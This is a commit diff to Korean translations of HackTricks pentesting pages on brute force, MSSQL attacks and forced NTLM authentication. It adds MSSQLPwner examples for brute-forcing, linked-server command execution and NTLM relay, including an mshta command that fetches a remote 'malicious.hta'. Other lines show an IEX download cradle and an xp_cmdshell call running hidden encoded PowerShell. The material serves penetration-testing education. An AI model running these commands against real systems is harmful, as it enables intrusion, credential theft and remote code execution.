mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['generic-methodologies-and-resources/brute-force.md', 'netwo
This commit is contained in:
parent
3895dcbb6e
commit
5c5e5206cc
4 changed files with 171 additions and 30 deletions
|
@ -25,7 +25,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
## 기본 자격 증명
|
||||
|
||||
사용 중인 기술의 기본 자격 증명을 위해 **구글에서 검색**하거나 **다음 링크를 시도**하세요:
|
||||
사용 중인 기술의 기본 자격 증명을 **구글에서 검색**하거나 **다음 링크를 시도**하세요:
|
||||
|
||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
|
@ -61,13 +61,13 @@ cewl example.com -m 5 -w words.txt
|
|||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
희생자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다.
|
||||
피해자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다.
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어에서 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
|
||||
단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어로부터 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
|
@ -111,7 +111,7 @@ Finished in 0.920s.
|
|||
|
||||
## Services
|
||||
|
||||
서비스 이름순으로 정렬되었습니다.
|
||||
서비스 이름순으로 알파벳 정렬됨.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
|
@ -240,6 +240,25 @@ use auxiliary/scanner/mongodb/mongodb_login
|
|||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||
```
|
||||
### MSSQL
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||
|
||||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
```
|
||||
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
|
@ -323,7 +342,7 @@ ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
|||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||||
```
|
||||
### Redis
|
||||
### 레디스
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -409,7 +428,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
|||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
|
||||
|
||||
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와의 원활한 통신 및 상호 작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
|
||||
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
|
@ -491,7 +510,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
|||
```
|
||||
#### Known plaintext zip attack
|
||||
|
||||
암호화된 zip 안에 포함된 **파일의 **평문** (또는 평문의 일부)**을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
|
||||
암호화된 zip 파일 안에 포함된 **파일의 **평문** (또는 평문의 일부)**을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
|
@ -599,7 +618,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
|||
|
||||
### DPAPI 마스터 키
|
||||
|
||||
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행합니다.
|
||||
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행하세요.
|
||||
|
||||
### Open Office 비밀번호 보호 열
|
||||
|
||||
|
|
|
@ -83,6 +83,26 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||
### 수동 열거
|
||||
|
||||
#### 로그인
|
||||
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||
|
||||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
```
|
||||
|
||||
```bash
|
||||
# Using Impacket mssqlclient.py
|
||||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||||
|
@ -152,12 +172,12 @@ SELECT * FROM sysusers
|
|||
|
||||
1. **Securable:** SQL Server가 접근 제어를 위해 관리하는 리소스로 정의됩니다. 이는 다음과 같이 분류됩니다:
|
||||
* **서버** – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹 및 서버 역할의 예가 포함됩니다.
|
||||
* **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자의 예가 포함됩니다.
|
||||
* **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자와 같은 예가 포함됩니다.
|
||||
* **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등을 포함합니다.
|
||||
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 이루어집니다:
|
||||
* **서버 수준** – 로그인을 사용하여
|
||||
* **데이터베이스 수준** – 사용자를 사용하여
|
||||
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나, 접근 권한이 있는 역할에 로그인과 사용자를 포함시킴으로써 행사됩니다.
|
||||
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나 접근 권한이 있는 역할에 로그인 및 사용자를 포함시킴으로써 행사됩니다.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -215,6 +235,20 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||||
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### NetNTLM 해시 훔치기 / 릴레이 공격
|
||||
|
||||
인증에 사용되는 해시를 캡처하기 위해 **SMB 서버**를 시작해야 합니다 (`impacket-smbserver` 또는 `responder` 예시).
|
||||
|
@ -229,8 +263,19 @@ sudo responder -I tun0
|
|||
sudo impacket-smbserver share ./ -smb2support
|
||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Issuing NTLM relay attack on the SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on the local server with custom command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
sysadmins가 아닌 누가 이러한 MSSQL 함수를 실행할 수 있는 권한이 있는지 확인할 수 있습니다:
|
||||
누가 (sysadmins 제외) 이러한 MSSQL 함수를 실행할 권한이 있는지 확인하려면 다음을 사용하세요:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -240,7 +285,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
{% endhint %}
|
||||
|
||||
**responder** 또는 **Inveigh**와 같은 도구를 사용하여 **NetNTLM 해시를 훔치는** 것이 가능합니다.\
|
||||
이 도구들을 사용하는 방법은 다음에서 확인할 수 있습니다:
|
||||
이 도구를 사용하는 방법은 다음에서 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
@ -256,7 +301,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### **파일 쓰기**
|
||||
|
||||
`MSSQL`을 사용하여 파일을 쓰려면, **[Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)**를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
|
||||
`MSSQL`을 사용하여 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -289,9 +334,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Read files executing scripts (Python and R)**
|
||||
### **RCE/파일 읽기 스크립트 실행 (Python 및 R)**
|
||||
|
||||
MSSQL은 **Python 및/또는 R**에서 **스크립트**를 실행할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
|
||||
MSSQL은 **Python 및/또는 R**에서 **스크립트 실행**을 허용할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 **다른 사용자**에 의해 실행됩니다.
|
||||
|
||||
Example trying to execute a **'R'** _"Hellow World!"_ **not working**:
|
||||
|
||||
|
@ -352,7 +397,7 @@ MSSQL에서 **사용자 정의 함수로 .NET dll을 로드하는 것이 가능
|
|||
|
||||
### From db\_owner to sysadmin
|
||||
|
||||
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 설정된 경우, 해당 사용자는 **프리벡스**를 위해 이러한 권한을 남용할 수 있습니다. 왜냐하면 그곳에 생성된 **저장 프로시저**가 **소유자**(**관리자**)로서 **실행**될 수 있기 때문입니다.
|
||||
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 설정된 경우, 해당 사용자는 **저장 프로시저**가 소유자(**관리자**)로 실행될 수 있기 때문에 이러한 권한을 남용하여 **privesc**를 할 수 있습니다.
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -454,9 +499,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
권한을 확인한 후, 다음 세 가지를 구성해야 합니다:
|
||||
|
||||
1. SQL Server 인스턴스에서 TCP/IP를 활성화합니다;
|
||||
2. 시작 매개변수를 추가합니다. 이 경우, -T7806이라는 추적 플래그가 추가됩니다.
|
||||
3. 원격 관리자 연결을 활성화합니다.
|
||||
1. SQL Server 인스턴스에서 TCP/IP 활성화;
|
||||
2. 시작 매개변수 추가, 이 경우 -T7806이라는 추적 플래그가 추가됩니다.
|
||||
3. 원격 관리자 연결 활성화.
|
||||
|
||||
이 구성을 자동화하기 위해 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에는 필요한 스크립트가 있습니다. 각 구성 단계에 대한 PowerShell 스크립트 외에도, 이 저장소에는 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 포함되어 있습니다.
|
||||
|
||||
|
@ -467,7 +512,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
## 로컬 권한 상승
|
||||
|
||||
MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토큰이 활성화되어 있습니다.\
|
||||
다음 두 페이지 중 하나를 따라 **관리자로 권한 상승**할 수 있을 것입니다:
|
||||
다음 두 페이지 중 하나를 따라 **관리자로 상승**할 수 있을 것입니다:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
|
|
@ -21,7 +21,73 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **MSSQL Enumeration / Discovery**
|
||||
|
||||
PowerShell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)는 이 경우에 매우 유용합니다.
|
||||
### Python
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) 도구는 impacket을 기반으로 하며, kerberos 티켓을 사용하여 인증하고 링크 체인을 통해 공격할 수 있습니다.
|
||||
|
||||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||
```shell
|
||||
# Interactive mode
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||
|
||||
# Interactive mode with 2 depth level of impersonations
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
|
||||
|
||||
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||||
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
|
||||
# Issuing NTLM relay attack on the SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on the local server with custom command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
|
||||
# Executing direct query
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
|
||||
|
||||
# Retrieving password from the linked server DC01
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
|
||||
|
||||
# Execute code using custom assembly on the linked server DC01
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
|
||||
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||
|
||||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
|
||||
```
|
||||
### 도메인 세션 없이 네트워크에서 열거하기
|
||||
```
|
||||
# Interactive mode
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||
```
|
||||
---
|
||||
### Powershell
|
||||
|
||||
이 경우에 powershell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)이 매우 유용합니다.
|
||||
```powershell
|
||||
Import-Module .\PowerupSQL.psd1
|
||||
```
|
||||
|
@ -164,7 +230,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|||
|
||||
![](<../../.gitbook/assets/image (643).png>)
|
||||
|
||||
신뢰할 수 있는 링크 체인을 수동으로 무한히 계속할 수 있습니다.
|
||||
이 신뢰할 수 있는 링크 체인을 수동으로 무한히 계속할 수 있습니다.
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
|
|
|
@ -21,12 +21,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Spooler Service Abuse
|
||||
|
||||
_**Print Spooler**_ 서비스가 **활성화되어** 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고 **어떤 시스템으로 알림을 보내도록** 지시할 수 있습니다.\
|
||||
_**Print Spooler**_ 서비스가 **활성화**되어 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고, 이를 **어떤 시스템으로 알리도록** 지시할 수 있습니다.\
|
||||
프린터가 임의의 시스템으로 알림을 보낼 때, 해당 **시스템**에 대해 **인증**해야 합니다. 따라서 공격자는 _**Print Spooler**_ 서비스가 임의의 시스템에 대해 인증하도록 만들 수 있으며, 이 인증에서 서비스는 **컴퓨터 계정**을 **사용**합니다.
|
||||
|
||||
### Finding Windows Servers on the domain
|
||||
|
||||
PowerShell을 사용하여 Windows 박스 목록을 가져옵니다. 서버는 일반적으로 우선 순위가 높으므로, 거기에 집중합시다:
|
||||
PowerShell을 사용하여 Windows 박스 목록을 가져옵니다. 서버는 일반적으로 우선 순위가 높으므로, 여기에 집중합시다:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
|||
```
|
||||
### Unconstrained Delegation과 결합하기
|
||||
|
||||
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임 덕분에 **프린터의 컴퓨터 계정의 TGT**는 비제한 위임이 있는 컴퓨터의 **메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
|
||||
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 비제한 위임이 있는 컴퓨터의 **메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## RCP 강제 인증
|
||||
|
||||
|
@ -64,7 +64,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
|||
|
||||
`PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 모든 도메인 사용자에 의해 HTTP를 통해 제공된 클라이언트 호스트에 인증되도록 강제할 수 있게 합니다.
|
||||
|
||||
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 이전 누적 업데이트의 도메인에 대한 WriteDacl 권한**을 가집니다). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출**할 수 있도록 악용될 수 있습니다. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내의 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
|
||||
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 누적 업데이트 이전 도메인에 대한 WriteDacl 권한**을 가집니다). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출**할 수 있도록 악용될 수 있습니다. LDAP로의 중계가 불가능한 경우에도 이 결함은 도메인 내의 다른 호스트에 중계하고 인증하는 데 여전히 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
|
||||
|
||||
## Windows 내부
|
||||
|
||||
|
@ -78,7 +78,18 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
|
|||
```sql
|
||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||
```
|
||||
또는 이 다른 기술을 사용하세요: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Issuing NTLM relay attack on the SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on the local server with custom command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
또는 이 다른 기술을 사용할 수 있습니다: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
|
||||
### Certutil
|
||||
|
||||
|
@ -90,7 +101,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
|||
|
||||
### 이메일을 통한
|
||||
|
||||
당신이 손상시키고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다.
|
||||
당신이 침투하고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다.
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
|
@ -104,7 +115,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
|||
```
|
||||
## NTLMv1 크래킹
|
||||
|
||||
[NTLMv1 챌린지를 캡처할 수 있다면 여기를 읽고 크래킹하는 방법을 확인하세요](../ntlm/#ntlmv1-attack).\
|
||||
[NTLMv1 챌린지를 캡처할 수 있다면 여기를 읽고 크래킹하는 방법을 알아보세요](../ntlm/#ntlmv1-attack).\
|
||||
_NTLMv1을 크래킹하려면 Responder 챌린지를 "1122334455667788"로 설정해야 합니다._
|
||||
|
||||
{% hint style="success" %}
|
||||
|
@ -117,7 +128,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
